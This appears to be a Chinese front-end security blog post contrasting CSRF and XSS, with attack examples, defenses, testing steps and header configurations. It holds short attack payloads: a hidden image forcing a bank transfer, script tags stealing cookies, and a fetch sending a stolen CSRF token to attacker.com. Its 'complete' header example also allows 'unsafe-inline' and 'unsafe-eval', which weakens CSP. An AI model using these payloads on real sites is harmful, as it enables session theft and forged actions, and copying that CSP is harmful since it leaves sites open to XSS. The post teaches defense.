阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > CSRF 与 XSS 的区别

CSRF 与 XSS 的区别

作者:陈川 阅读数:15201人阅读 分类: 前端安全

CSRF 与 XSS 的基本概念

CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的前端安全威胁。CSRF 利用用户已登录的身份,在用户不知情的情况下执行非预期的操作;XSS 则是通过注入恶意脚本到网页中,窃取用户数据或执行其他恶意行为。虽然两者都涉及"跨站"攻击,但攻击方式和防御手段完全不同。

CSRF 的攻击原理与示例

CSRF 攻击的核心是欺骗用户的浏览器,让其以用户的身份发送请求。攻击者通常会构造一个恶意链接或表单,当用户点击或访问时,浏览器会自动携带用户的认证信息(如 Cookie)发送请求。

<!-- 恶意网站上的代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

假设用户已登录银行网站,访问包含上述代码的恶意页面时,浏览器会自动发送转账请求。由于请求携带了用户的会话 Cookie,服务器会认为这是用户自愿的操作。

XSS 的攻击原理与示例

XSS 攻击分为三种类型:存储型、反射型和 DOM 型。它们的共同点是将恶意脚本注入到网页中,当其他用户访问时执行这些脚本。

存储型 XSS 示例:

// 攻击者在评论框中输入
<script>stealCookie(document.cookie)</script>

反射型 XSS 示例:

// 攻击者构造恶意链接
https://example.com/search?q=<script>alert('XSS')</script>

DOM 型 XSS 示例:

<script>
  // 从 URL 中获取参数并直接插入 DOM
  document.write('<div>' + location.hash.substring(1) + '</div>');
</script>

攻击目标的差异

CSRF 主要针对的是服务器端的操作,攻击者利用的是用户对特定网站的信任。它不直接窃取数据,而是冒充用户执行操作,如修改密码、转账等。

XSS 则主要针对客户端,攻击者通过在受害者的浏览器中执行恶意脚本,可以:

  1. 窃取 Cookie 和会话信息
  2. 修改页面内容
  3. 重定向用户到恶意网站
  4. 记录键盘输入

防御措施的对比

CSRF 防御方法

  1. CSRF Token:服务器生成随机 Token 并嵌入表单,验证请求时检查 Token
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机字符串">
  <!-- 其他表单字段 -->
</form>
  1. SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax
Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure
  1. 验证 Referer/Origin 头部:检查请求来源是否合法

XSS 防御方法

  1. 输入过滤和输出编码
// 使用 HTML 实体编码
function escapeHtml(text) {
  return text.replace(/&/g, "&amp;")
             .replace(/</g, "&lt;")
             .replace(/>/g, "&gt;")
             .replace(/"/g, "&quot;")
             .replace(/'/g, "&#039;");
}
  1. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. 使用安全的 DOM API
// 不安全的
element.innerHTML = userInput;

// 安全的
element.textContent = userInput;

实际案例分析

2018 年某社交平台曾发生 CSRF 漏洞,攻击者构造特殊链接,用户点击后会自动关注特定账号。漏洞原因是关注操作仅依赖会话 Cookie 认证,没有 CSRF Token 保护。

同年,一个电商平台遭受存储型 XSS 攻击,攻击者在商品评价中注入恶意脚本,窃取了大量用户的支付信息。问题出在没有对用户输入进行充分过滤和编码。

组合攻击的可能性

CSRF 和 XSS 有时会组合使用形成更复杂的攻击。例如,攻击者先通过 XSS 获取 CSRF Token,然后利用该 Token 发起 CSRF 攻击。这种组合攻击更难防御,需要同时防范两种漏洞。

// 通过 XSS 窃取 CSRF Token
var token = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + token);

现代前端框架的防护

现代前端框架如 React、Vue 和 Angular 提供了一些内置防护:

  1. React 自动转义 JSX 中的变量
// 安全,userInput 会被转义
<div>{userInput}</div>
  1. Vue 的 v-bind 和双大括号语法也会自动转义
<!-- 安全 -->
<p>{{ userInput }}</p>

但开发者仍需注意:

  • 使用 dangerouslySetInnerHTML (React) 或 v-html (Vue) 时的风险
  • 动态生成的 URL 和样式可能导致的 XSS

测试与验证方法

检测 CSRF 漏洞:

  1. 检查关键操作是否缺少 CSRF Token
  2. 验证 SameSite Cookie 设置
  3. 尝试用 Burp Suite 等工具重放请求

检测 XSS 漏洞:

  1. 在所有用户输入点尝试注入基本 XSS 载荷
<script>alert(1)</script>
  1. 使用自动化工具如 OWASP ZAP 或 XSS Hunter
  2. 检查 CSP 实现是否完整

开发中的最佳实践

针对 CSRF:

  • 为所有状态修改请求添加 CSRF 保护
  • 避免使用 GET 请求进行状态修改
  • 实现双重认证机制

针对 XSS:

  • 对所有动态内容进行上下文相关的编码
  • 实施严格的 CSP 策略
  • 定期更新依赖库以修复已知漏洞
  • 使用模板引擎而非字符串拼接构建 HTML

相关安全头部配置

完整的 HTTP 安全头部配置示例:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'

常见误区与澄清

  1. "使用了 HTTPS 就安全":HTTPS 仅保证传输安全,不能防止 CSRF 或 XSS
  2. "框架自动防护就足够了":框架提供基础防护,但开发者仍需注意边缘情况
  3. "输入过滤就够了":需要结合输出编码和上下文感知的净化
  4. "CSRF 只影响表单提交":任何状态修改请求都可能受影响,包括 API 调用

浏览器安全机制的演进

现代浏览器不断引入新特性增强防护:

  1. SameSite Cookie:Chrome 80+ 默认将 Cookie 设为 Lax
  2. Trusted Types API:限制危险的 DOM API 使用
// 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
  1. Sanitizer API:提供内置的 HTML 净化功能
const sanitizer = new Sanitizer();
element.setHTML(userInput, { sanitizer });

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌